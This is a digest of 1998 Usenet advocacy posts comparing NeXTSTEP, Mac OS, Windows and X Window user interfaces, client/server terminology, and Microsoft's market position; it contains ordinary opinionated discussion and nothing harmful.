From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: DPS remote display
Date: Fri, 26 Jun 1998 19:15:54 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <359439BA.1BC2D90B@nstar.net>
References: <6mqs8j$7a6$1@nnrp1.dejanews.com> <Ev270v.1yw@haddock.cd.chalmers.se> <Ev3tpn.4Lv@AWT.NL> <3592D021.3D42C907@nstar.net> <Ev5GAA.92n@AWT.NL>
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NNTP-Posting-Date: 27 Jun 1998 00:21:03 GMT
Gerben Wierda wrote:
> >That's exactly the way X does it. The client connects to an X display
> >server. The X server does display; that's its service.
>
> Yes, if you're computer-centered as the techies at MIT (or CMU or wherever X
> originated) are this is true. That is why they called it such. And
> technically speaking, it is a logical choice.
Don't brand me that way. A server is a server. Client/server has a
specific definition, and most people don't have trouble keeping it
straight.
> But when you are human-centered, the client is the human and the server is
> somewhere in a room in the cellar of the office building.
This is exactly the misconception that is scaring most people away from
Rhapsody as a "server OS". Too bad. Hey, isn't Window_server_ the PS
construct that handles windowing on NEXTSTEP?
I run a Linux box that host many servers. Nobody calls it a "server"
machine, they call it a "client" machine, despite the fact that it
transparently handles many of the services which they take for granted.
This doesn't change the fact that they themselves say "I'm connecting to
the file server" or "I'm accessing the Internet through Mike's dialup
server" or "I'm sending a fax to Mike's fax server".
Do people run FTP servers using NetPresenz on Macintosh *client*
machines? Do people make use of Web server software on *client*
machines? Of course they do. Don't encourage a anachronistic dichotomy.
> The human is not
> 'serving' the computer program that runs on the system in the cellar (though
> it is often experienced that way if software has a bad design), but the
> program on the computer in the cellar is supposed to be serving the client in
> his office.
It depends on which way the services are conducted, silly. If I am
running a program on my box that displays itself down in the cellar,
which is the server? If I am running a program on the box in the cellar
and displaying it on my box for the purposes of remote administration,
which is the server?
Not that this conversation is anything new. People have understood for
years that true client/server usage involves constructing networks that
can transparently interact regardless of weight and balance.
The terminology of "server" depends on what you call the service. If a
huge application memory footprint is the service you want relayed from a
remote box, you can say that the remote box is an "app server", a la
traditional "NT app servers". If all you want is a lightweight display
protocol interpreted by a network-aware resident process, then when the
remote app connects to that process, it is connecting to a "display
server".
> That is why those systems are called servers. As I said (which
> you did not quote), X says: The client (human) is using a server to connect
> to a client (program) on the server ;-)
A server is a program and a client is a program. If you want to make up
a new abstract concept, use different terminology, please. The word-soup
is far too murky without your muddling about. If you really want to
construct a theoretical relationship between a human and a machine,
insisting on lopsided interaction, maybe you can call it
"user/mainframe", or something novel like that.
> It is silly to argue about it, but the fact that X's choice is techno-logical
> doesn't make it necessarily right, as it is counterintuitive.
That's funny; "backwards" Mac users have been using peer-to-peer
networking for years. Some of them never developed the antiquated
notions you revolutionaries seem to hold.
MJP
From: edremy@chem1.usc.edu (edremy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 26 Jun 1998 17:28:55 -0700
Organization: USC Chemistry
Message-ID: <edremy-ya02408000R2606981728550001@news.usc.edu>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <tLVk1.3$Oe1.54453@proxye1.san.rr.com> <6n1b15$eom$1@hole.sdsu.edu>
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Content-Transfer-Encoding: 8bit
In article <6n1b15$eom$1@hole.sdsu.edu>, etomlins@rohan.sdsu.edu
(tomlinson) wrote:
> The original Macintosh GUI was, at bottom, supported by a
> formidable body of research and a testing process which weeded
> out anything conducive to inefficiency. If other interfaces
> happen to resemble Apple's, there's a good reason for that.
Apple got a lot right the first time. But several things have changed
1) Computers, including Macs, are no longer single tasking machines with 9"
B+W screens and users who are trying to learn a radically new interface.
2) There's been 15 years of R&D in the form of hundreds of millions of GUI
users on dozens of different GUIs.
Change isn't necessarily a good, true. But the be-all and end-all of user
interface design isn't the MacOS Finder. (Nor is it NexTStEP, Windows,
OS/2 or anything else.) There are serious limitations in the MacOS
Finder-I want shrink-to-icon and the single menu bar doesn't work well with
a dozen open apps and a 21" screen, for two obvious examples. Why
shouldn't Apple try something new?
> But there's a certain sort of person who isn't satisfied with
> what works; he's got to _change_ things, because...change is good!
> _Ipso facto_. After all, we don't want things to look _dated_,
> now do we?
The Finder in many ways _is_ dated. Changing button positions may well be
pointless, but changing how the menu bar works isn't. Overall, people may
well prefer the Next way if given a chance, or perhaps even the Windows
way. Others won't- but then again, there are an awful lot of Windows users
who bitch on c.s.m.a about the single menu bar.
--
Eric R. edremy@chem1.usc.edu
"Throughout Western history the normal state of mind may have been that of
inebriation" B. Valle, Scientific American, June 1998
If you think I speak for USC, see your doctor now.
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <tLVk1.3$Oe1.54453@proxye1.san.rr.com> <359434A2.8C1C371@nstar.net>
Subject: Re: Mac OS X UI
Message-ID: <vhXk1.12$Oe1.111450@proxye1.san.rr.com>
Date: Sat, 27 Jun 1998 00:46:19 GMT
NNTP-Posting-Date: Fri, 26 Jun 1998 17:46:19 PDT
Organization: TWC Road Runner, San Diego, CA
Michael Peck wrote in message <359434A2.8C1C371@nstar.net>...
>Ed Deans. wrote:
[throws out rantings]
>> Guess what? NEXTSTEP has a different paradigm. OS/2 2.0 and later has a
>> different paradigm as well.
>
>What's the "different paradigm"? I don't understand what you mean by
>this. Take a moment and explain exactly what you mean by a paradigm
>shift from MacOS to NEXTSTEP, except for the loss of a desktop.
I'm talking about a collect change in approach. The Mac is heavily
application centric while trying to offer an object-oriented facade (Finder)
lacking real object plumbing behind that facade. NEXTSTEP, to me anyway, is
heavily application centric, drops the object-oriented facade (Finder) but
has object-oriented plumbing. OS/2, as you're familiar with it, attempts to
have the object-oriented facade and object-oriented plumbing while
supporting the heritage of application centric predecessors. To me these
require shifts in thinking (what I'm defining as a paradigm shift in this
context) in order to most appreciate and to use to greatest effect.
Let me be clear: NONE of these examples is a perfect UI--not even with what
each attempts to be. All would benefit from revision, polish, evolution.
[more snipped]
>> Such is the difficulty Apple has trying new things in their UI with large
>> existing user bases of consumers, etc. They're set in their ways and
it's
>> often difficult to evangelise why a change is a good thing.
>
>Yeah, and Mac users are an ironic bunch because they were once
>revolutionaries but they now won't accept what is obviously the next
>great revolution. What an elitist load of trash. You remind me of the
>last salesman I saw at FedEx; he told us we were stupid because we
>didn't want his product.
You identify the problem I still see with Apple precisely. The
"not-invented-here" syndrome may be moving to new lows: if it's not NEXT or
if it's not descended directly from System 7.0 (and predecessors on the Mac)
than it is garbage. It excludes OpenDoc, anything remotely related to
Pink/Taligent or anything outside of Apple unless it's Microsoft-like.
--Ed.
From: jonathan@quern.demon.co.uk (Jonathan Sanderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 26 Jun 1998 13:12:15 +0100
Message-ID: <1db8cbi.61ws6gk20q2cN@quern.demon.co.uk>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <1998062315272600.LAA03159@ladder03.news.aol.com> <1db554b.esf57p14fyhc2N@rhrz-isdn3-p7.rhrz.uni-bonn.de> <1998062420335100.QAA22169@ladder03.news.aol.com> <forrestDELETE-THIS!-2406981804360001@term3-9.vta.west.net> <1998062502445100.WAA11995@ladder03.news.aol.com> <rmcassid-2506980930100001@dante.eng.uci.edu>
Robert Cassidy <rmcassid@uci.edu> wrote:
> You eject a floppy by selecting 'Put Away' from the File menu (yes, I
> know, an inconsistency in the naming) or by cmd-clicking on the floppy and
> selecting either Eject or Put Away.
You can also choose 'Eject' from the Special menu, which is consistent.
When introducing newcomers to the MacOS, this is how I tell them to do
it, and it seems to go in just fine.
Don't get me wrong, though; the MacOS is hardly the last word in UI
design. The attitude that it *is* has left us stuck with the same thing
for ten years. I'm willing to believe that NeXT's UI *is* better, but
unless I'm very much mistaken it's still application-centric, which IMHO
is not the way forward.
OpenDoc had all sorts of horrible problems, but when it worked it was
glorious. Newton is also data-centric to some extent, and works very
well for specific tasks.
So please, let's not get hung up on 'my UI is better than yours' - if
you ask me, they're all flawed!
--
Jonathan Sanderson
Who never could get the hang of the Browser.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 26 Jun 1998 12:29:32 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-2606981229320001@dante.eng.uci.edu>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <35cb658a.49037902@news.supernews.com> <rmcassid-2406980925040001@dante.eng.uci.edu> <3592ee9e.15806083@news.supernews.com>
In article <3592ee9e.15806083@news.supernews.com>, mdevlin@eltrax.com (T.
Max Devlin) wrote:
>rmcassid@uci.edu (Robert Cassidy), on Wed, 24 Jun 1998 09:25:04 -0700,
>>In article <35cb658a.49037902@news.supernews.com>, mdevlin@eltrax.com (T.
>>Max Devlin) wrote:
>>
>>Most people buy a computer to primarily run Office in full compatability
>>mode. Look in any company. Could they choose any wordprocessor? No.
>>Because only Office reads Office files. And nobody sends anything but
>>Office files.
>
>First; a caveat. I will assume the role at this time of someone arguing
>that bundling office with the operating system is an ethical business
>move. I will pretend that the sentence "nobody sends anything but
>Office files" is a statement of frustration, and play devil's advocate
>on that particular issue. This is, of course, circular logic (the
>entire intent of Office files is to be what "everybody sends"), but I
>will humor the position, for now.
>
>Given that: what the hell is "full compatibility mode"? I never noticed
>any toggle or parameter that would put Office into "full compatibility
>mode".
It's not just a frustration, but a matter of fact in many environments. I
can't very well ask someone to send me a publication with tables that I
need to modify in plain text or HTML or PDF or Wordperfect formats.
Full compatability mode means that it is the most compatable version of
Office. There are multiple versions of Office, most notably Office for
Windows and Office for Mac. For years, Office for Mac was not nearly
compatable with Office for Windows. So if you wanted to receive and send
Office files with any real confidence in receiving _all_ of the file (and
not the 93% that this version supported) and in sending _all_ of the file,
then you had to buy Office for Windows, which reqires Windows, which
requires a PC.
The problem to solve is creating and exchanging information. That's what
Office does, and along with email and web browsers and authoring tools,
and SQL and ODBC, and might represent 100% of the things that 50% of what
people out there do. Now, since the only thing that has any uniqueness in
that list is Office (everything else is fairly standards based, for now,
and available on any OS) then I'd have to believe that Office represents a
compatability bottleneck to information exchange in an office that favors
Windows.
Office is legal tender for information exchange in most places.
>>Why do you learn, speak, and write in English and not Latin? Latin is a
>>perfectly good language - much easier than English to learn. Much more
>>consistent. Less ambiguous. And you get a good leg up on the romance
>>languages.
>>
>>Oh, because you wouldn't understand what everyone was saying.
>>
>>Thank you for playing.
>
>I'm sorry for breaking the illusion, but are you serious? Do you
>actually think that saying "people buy PCs to use Microsoft Office" is
>anything but ignorant bullshit spouted by a fully brainwashed
>Microsoftee? Just checking.
Do you have any idea how many fully brainwashed Microsoftees are out
there? Do you know how many computers around here do _nothing_ more than
run Office, email, and Netscape?
>People may indeed by computers specifically for standard PC office
>applications (wordprocessor, spreadsheet, business graphics, desktop
>database). But I don't think anybody cares that much about the brand,
>though I will agree that "compatibility" is a factor, though a dubious
>one.
I'm dead serious. I no longer think it is a front-of-the-brain decision
any more, rather an accepted requirement. I'm in an office, I need a
computer, I need to work with others, Office+Windows+Intel hardware=good
and cheap enough and no compatability hassles. Done.
>>They all go together. The PC is cheap, Windows is known, and Office is
>>standard. They buy the package. If the Mac was as cheap, MacOS was easy
>>enough not to need to be known, and Office was ensured to be just as
>>standard, then I think Mac sales would rise. Aside from the PC industry,
>>everyone else sells systems - hardware and software together. MS and Intel
>>are symbiotic. Think of them as one - Wintel Inc. You can't separate the
>>two, nor should you.
>
>It's not a package.
>
>Guess what? You _can_ separate the two, you _should_ separate the two,
>and until Microsoft started playing games with license agreements strong
>armed with a monopoly position, everyone _did_ separate the two. Hell,
>even the _proprietary_ computer vendors separate the two.
It is a package. Virtually _nobody_ separates the two. The market has made
it a package. What could be doesn't matter. What *is* does matter.
>Your statement indicating that Windows is "easy enough not to need to be
>known" in comparison to the Mac (the _Mac_ for chrissakes!) sounds like
>"Windows is easier than any other computer ever made because I know how
>to use it." Classic "DOS for Dummies" mentality.
No, I didn't say that. The Mac _is_ easier than Windows, but not so much
that you don't need a support person around and training. If the Mac was
'turn it on and it always works' then it would be there. But that isn't
the case. I've got two Macs that are nearly dead because I haven't had
time the last few months to give them any maintenance. I'm still needed in
that role. I shouldn't be.
Windows definately _does_ need a support person, but if the Mac does to,
then what advantage does the Mac bring? That was my point.
>>Is it just a coincidence that both MS and Intel are in anti-trust
>>problems? No. The govt. is looking at them as Wintel Inc., because that is
>>the reality today.
>
>True. I'm still unsure whether you think that is a good thing.
>
>Don't worry, that's a good thing by itself.
>
>Have any thoughts on the Intel side of the courthouse?
I think they should address the immediate problems with Intel, but not
take it so far as anti-trust. Intel has _some_ decent competition and
appears to be in some trouble. They also don't seem to be leveraging their
existing markets into new ones to the same extent at MS. MS is leveraging
Windows and IE to get into car sales for crying out loud.
If the Wintel ties could be broken somehow, that would pretty much do it.
That can either happen by competitors succeeding against Intel or against
MS. I think the former is much more likely than the latter, although the
increasing cost of entering the market is a concern to me. We'll see what
Merced and NT 5 bring. Either one could shift the landscape _away_ from
Wintel.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac iMac iMac (Was Re: Games and the consumer market.)
Date: Fri, 26 Jun 1998 12:38:10 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-2606981238100001@dante.eng.uci.edu>
References: <joe.ragosta-2406981146120001@wil52.dol.net> <3591228B.B6274844@nstar.net> <joe.ragosta-2406981300020001@wil62.dol.net> <35916FBB.79749CAE@chem.uit.no> <slrn6p4t35.f3t.sal@panix3.panix.com> <3592A257.9A4501EC@chem.uit.no> <slrn6p5kpa.gdt.sal@panix3.panix.com> <3592D709.DB3A7046@nstar.net> <slrn6p7k8f.jlt.sal@panix3.panix.com>
In article <slrn6p7k8f.jlt.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
>Heck the $6000+ 20th anniversary didn't even have a PCI slot.
Actually, it does have a 7" PCI slot that gets slapped on the back.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Date: Fri, 26 Jun 1998 12:32:45 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-2606981232450001@dante.eng.uci.edu>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <6mpkdi$6on$1@supernews.com> <rmcassid-2406980928560001@dante.eng.uci.edu> <35910F01.74B80E9E@geocities.com> <rmcassid-2406981321500001@dante.eng.uci.edu> <35a71ce9.27658785@news.supernews.com>
In article <35a71ce9.27658785@news.supernews.com>, mdevlin@eltrax.com (T.
Max Devlin) wrote:
>Clients and servers are matched sets; neither "dictates" the other's
>abilities.
Well, that depends. When you are dependent on one company for both, then
they _can_ upset the balance. Otherwise, it just comes down to market
forces. MS is solving problems from the client side which then require
server side support. That's different from how things have often worked in
the past.
>FrontPage is one of those things that would be a great idea if it wasn't
>such a piece of shit.
Typical MS. Sell a good idea, ship a crappy implementation...
-Bob Cassidy
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 26 Jun 1998 19:24:54 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6n0si6$pk8$1@ndnws01.ne.highway1.com>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com>
John Kheit <jkheit@mediaone.net> wrote:
> Michael Peck <mjpeck@nstar.net> wrote: I don't have to use
> windows as my primary UI, so I don't. The point being, it's not
> a particular implementation being superior that keeps me in one
> spot or another, it's my hangups.
On the other hand, sometimes something is clearly superior and I
like it better. Contextual popup menu's with a second mouse button
under windows kicks butt. Copy and pasting for file copying kicks
but. When I come back to other environments, I missed those win95
features.
There are a lot of great tid bits, here, there, and all around in
the various UIs. But I've yet to see someone trying to come out
with a new environment that tries to be a no compromise UI. Maybe
with an easy to implement Theme system we'll get something cool
and innovative that way (I'm talking a Theme manager that allows
one to do a lot more than add perwinkle blinkies on the UI--but
one that runs deeper and allows to do things like, oh, kill that
piece of crap pinstripe on the mac); certainly the general public
doesn't seem like it could do worse than people at apple and
elsewhere.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 27 Jun 1998 00:55:08 GMT
Organization: San Diego State University
Message-ID: <6n1ftc$evo$1@hole.sdsu.edu>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <tLVk1.3$Oe1.54453@proxye1.san.rr.com> <6n1b15$eom$1@hole.sdsu.edu> <edremy-ya02408000R2606981728550001@news.usc.edu>
edremy (edremy@chem1.usc.edu) wrote:
: Change isn't necessarily a good, true. But the be-all and end-all of user
: interface design isn't the MacOS Finder. (Nor is it NexTStEP, Windows,
: OS/2 or anything else.) There are serious limitations in the MacOS
: Finder-I want shrink-to-icon and the single menu bar doesn't work well with
: a dozen open apps and a 21" screen, for two obvious examples. Why
: shouldn't Apple try something new?
They can try all they like, on one condition--that they see if it
works first or not _before_ selling it to us.
But, you might ask, doesn't the release of "developers' releases",
seeding releases, and betas accomplish that testing process? In
my opinion, it doesn't, because the target audience of these
pre-releases is the wrong one. The focus of beta-testing,
moreover, isn't the utility of the interface.
And, if you're right, why is Apple changing the wrong things?
They slapped a global menu bar into Rhapsody, which has an
interface which practically forces the user to get a bigger
monitor.
: The Finder in many ways _is_ dated.
How? Is it broken in any _major_ way? For example, you mention
"shrink-to-icon" minimization. You don't need to change the Finder
to implement that. Even the addition of menu bars to individual
windows isn't a _great_ change.
: way. Others won't- but then again, there are an awful lot of Windows users
: who bitch on c.s.m.a about the single menu bar.
Here is a situation where I find a global menu bar to be useful.
To illustrate the situation, let me first start by describing
the behavior of the Metrowerks compiler on BeOS: if I open a
couple of windows and then close them _all_, the compiler quits
even though I might not be done with my work. I have to reinvoke
the compiler in order to continue working; this wastes a small
amount of time, time both to access the symbolic link (or menu item,
or MW document) which will let me restart the compiler, and of
course the launch time (which on BeOS is short.) How can I
keep a program open in a GUI even if there are no documents up?
The Windows way is to create one huge window that fills the whole
desktop, wherein smaller sub-windows live. The Mac way is to
use that global menubar. There's really little difference
between these, because in practice the Windows "desktop window",
with its menu bar, is functionally similar to the Mac desktop
and global menu bar. The end result is the same: a big space
in which to create document windows and a menu bar near the top of
the screen. (Oimoi, that was long-winded of me.)
-tomlinson
--
Ernest S. Tomlinson
Vis apud te erit...aeterne.
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <tLVk1.3$Oe1.54453@proxye1.san.rr.com> <6n1b15$eom$1@hole.sdsu.edu>
Subject: Re: Mac OS X UI
Message-ID: <9HXk1.14$Oe1.125426@proxye1.san.rr.com>
Date: Sat, 27 Jun 1998 01:13:41 GMT
NNTP-Posting-Date: Fri, 26 Jun 1998 18:13:41 PDT
Organization: TWC Road Runner, San Diego, CA
tomlinson wrote in message <6n1b15$eom$1@hole.sdsu.edu>...
>Ed Deans. (eadeans@san.rr.com) wrote:
>
>: Such is the difficulty Apple has trying new things in their UI with large
>: existing user bases of consumers, etc. They're set in their ways and
it's
>: often difficult to evangelise why a change is a good thing. It's not too
>: hard if it's an evolutionary change but when it's a paradigm shift...
>Oh, for the sake of all the gods living or dead, stop throwing about
>"paradigm" as though it were some magic hallmark of quality and
>progress. It isn't.
So you believe new approaches to UI should be ignored because they may be
"evil" paradigm shifts? A change in thinking, a change in approach can be
progress. Neither a plain fork nor a fancy fork can properly do the job of
a steak knife.
[Unproductive ranting about Kuhn]
>The original Macintosh GUI was, at bottom, supported by a
>formidable body of research and a testing process which weeded
>out anything conducive to inefficiency.
The original Macintosh GUI was developed as a decendant of the Lisa GUI. It
was reworked for use in a computer with very little RAM (128K), a small 9",
BW screen and ran only one application at a time. Networking and multimedia
applications were virtually non-existant as target application for the
original Macintosh computer.
It sounds as if you're arguing against any progress. There's a reason Apple
introducted the disclosure triangle-based hierarchical view of the file
system with System 7. The original design was in efficient. In another
case, the original design also lacked a Zoom box causing users to often
inefficiently resize their windows, etc., etc.
Read this article entitled "Inventing the Lisa Interface" for a bit better
historical understanding of what went into creating Apple's Desktop
Interface: <http://memex.org/cm-archive3.html> (search in page for
"perkins").
Come back and tell me why I have to cancel a drag/drop copy operation
because I forgot to unlock a floppy, eject the floppy, unlock the floppy,
insert the floppy and start the operation all over. Sounds inefficient to
me. Instead the alert dialog could ask if I'd like to eject the floppy
there to unlock the disk before continuing an operation in progress. That
certainly seems more efficient to me.
>If other interfaces
>happen to resemble Apple's, there's a good reason for that.
Sure, they licensed it in exchange for critical early apps on the Mac (like
Microsoft) or saw a commercial success and copied it.
--Ed.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998062701245600.VAA07817@ladder03.news.aol.com>
Date: 27 Jun 1998 01:24:56 GMT
Organization: AOL http://www.aol.com
References: <tLVk1.3$Oe1.54453@proxye1.san.rr.com>
I'd like to chime in on the matter of adapting to user interfaces--I've used
just about everything (Mac, GeoWorks, Windows, OS/2, NewWave, Newton, Pilot,
PenPoint, X-Window) and have found that they require varying degrees of
accomodation/alteration of mindset.
The NeXT transition was a fairly involved one, but I find it to be very elegant
and easy to use ultimately. In particular, because it is so consistent with a
minimum number of UI elements which interact orthogonally, multiplying the
feature set available with a minimal impact on on-screen clutter.
Lessee, on a NeXT, there are buttons which are three dimensional and icons
which either are or are not--if they are 64 x 64 tiles, then they represent
programs which are either running (in the workspace) or available to run (on
the dock with an ellipsis). That's it--everything else is a special case of
these.
If anyone would like to point out particulars where they feel that the NeXT
inteface falls down, please cite them specifically.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 27 Jun 1998 01:09:46 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <3594459e.228108@news.supernews.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <35deaab4.128506219@news.supernews.co <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <6mmse2$m0u$1@nnrp1.dejanews.com> <359411ae.2541591@news.supernews.com> <6moqi4$5cl$1@nnrp1.dejanews.com> <35af0efc.26876330@news.supernews.com> <6mq0ob$4ui$1@nnrp1.dejanews.com> <35973685.4565018@news.supernews.com> <96Hk1.6$Q2.209030@news.en.com>
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Somehow I thought I already replied to this, but I can't find any trace
of it, so maybe I lost it (which is to say maybe my Windows crashed
while I was working on it and about five other things). ;-(
"David Petticord" <dpetticord@hotmail.com>, on Fri, 26 Jun 1998 06:21:57
>T. Max Devlin wrote in message <35973685.4565018@news.supernews.com>...
>>dpetticord@hotmail.com, on Wed, 24 Jun 1998 04:53:31 GMT,
>>>In article <35af0efc.26876330@news.supernews.com>,
>>> mdevlin@eltrax.com (T. Max Devlin) wrote:
>[...]
>>>Aren't you just a little embarrised to reference legitimate customer
>demand
>>>in a market you have declared is broken. A "true" Microsoft hater would
>>>blame Microsoft for forcing OEMs to do their bidding here too. <g>
>>>(It is in Microsoft's interest to have a need for "plug and play")
>>
>>Why would I be embarrassed by not being an irrational fanatic?
>
>I hope you realized I was teasing you a little. Next time I will include an
>appropriate
>trolling alert. ;-)
You've discovered my shameful secret. It's not that I don't have a
sense of humor. I am actually rather deft with subtle statements. But
something in my brain kicks off when I hear a question; I can't help but
take it seriously. It's very embarrassing sometimes. I think it is the
years of teaching this stuff: I honestly think that there is no such
thing as a senseless question.
So of course, when asked a senseless question, I look like an idiot.
;-)
Though you had no question mark, your accusation (tease) that I would
feel compromised by referring to a market mechanism in the generally
disfunctional PC market was a query, so I stepped in it bad. Thanks.
;-\
[...]
>>Anyone who claims that they sold you a multi-functional
>>general purpose microcomputer, but actually delivers a cheap disposable
>>client, is either fraudulent, Microsoft, or both.
>>
>
>or Tandy (TRS80) or Texas Instrument (VIC) or Intergraph (long ago bankrupt)
>or ...
>
>Think back Max, lots of cheap "general purpose computers" were being pushed
>on consumers in the early 1980s. History WILL repeat itself.
What makes you think these systems were not general purpose
microcomputers? Just because the purposes to which you could put them
were severely limited compared to the ease with which software is
available today? No, these were not special purpose computers. Special
purpose computers are the "appliance" that everybody thinks they want
until they get it. WebTV. Video phones. Web browsers in cars. Those
kinds of silly things.
><snip>
>>>But your "cyberdiversity" shouts that software will not be compatible.
>>>(at least not at the level the average home user will understand).
>>
>>You mistake "interchangeable" with "compatible". The average home user
>>doesn't care about the difference, either. But I do, and I would expect
>>that software developers should.
>>
>I stand corrected, but the point remains the same. IMO, the average home
>user will see their PCs become less compatable/interchangable.
IMO, the average home user has been paying for much more
"interchangeable" then he's been getting for the last few years. It
seems quite possible that a few sub-markets with different technical
characteristics would be competitive. As long as the software spans
multiple OSes, and the app vendors have little reason to do that in a
competitive market.
OTOH, the theory could go that the greater _focus_, _demand_ if you
will, on hardware compatibility and interchangeability will finally
deliver those plug-in hard drives we should have had years ago. The
consumer market doesn't really want a sealed box, I don't care what
anybody says. A PC they never have to open? Great. A PC they never
can open? Maybe not.
[This damn post is getting too long, and I'm low on hard drive space,
so I keep running out of memory and crashing. I'll just cut it here,
and we can pick it up in another message, once you explain to me what
"VME" is. ;-)]
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Date: Fri, 26 Jun 1998 18:28:16 -0700
Organization: UC Irvine
Message-ID: <atlauren-2606981828160001@jungleland.acs.uci.edu>
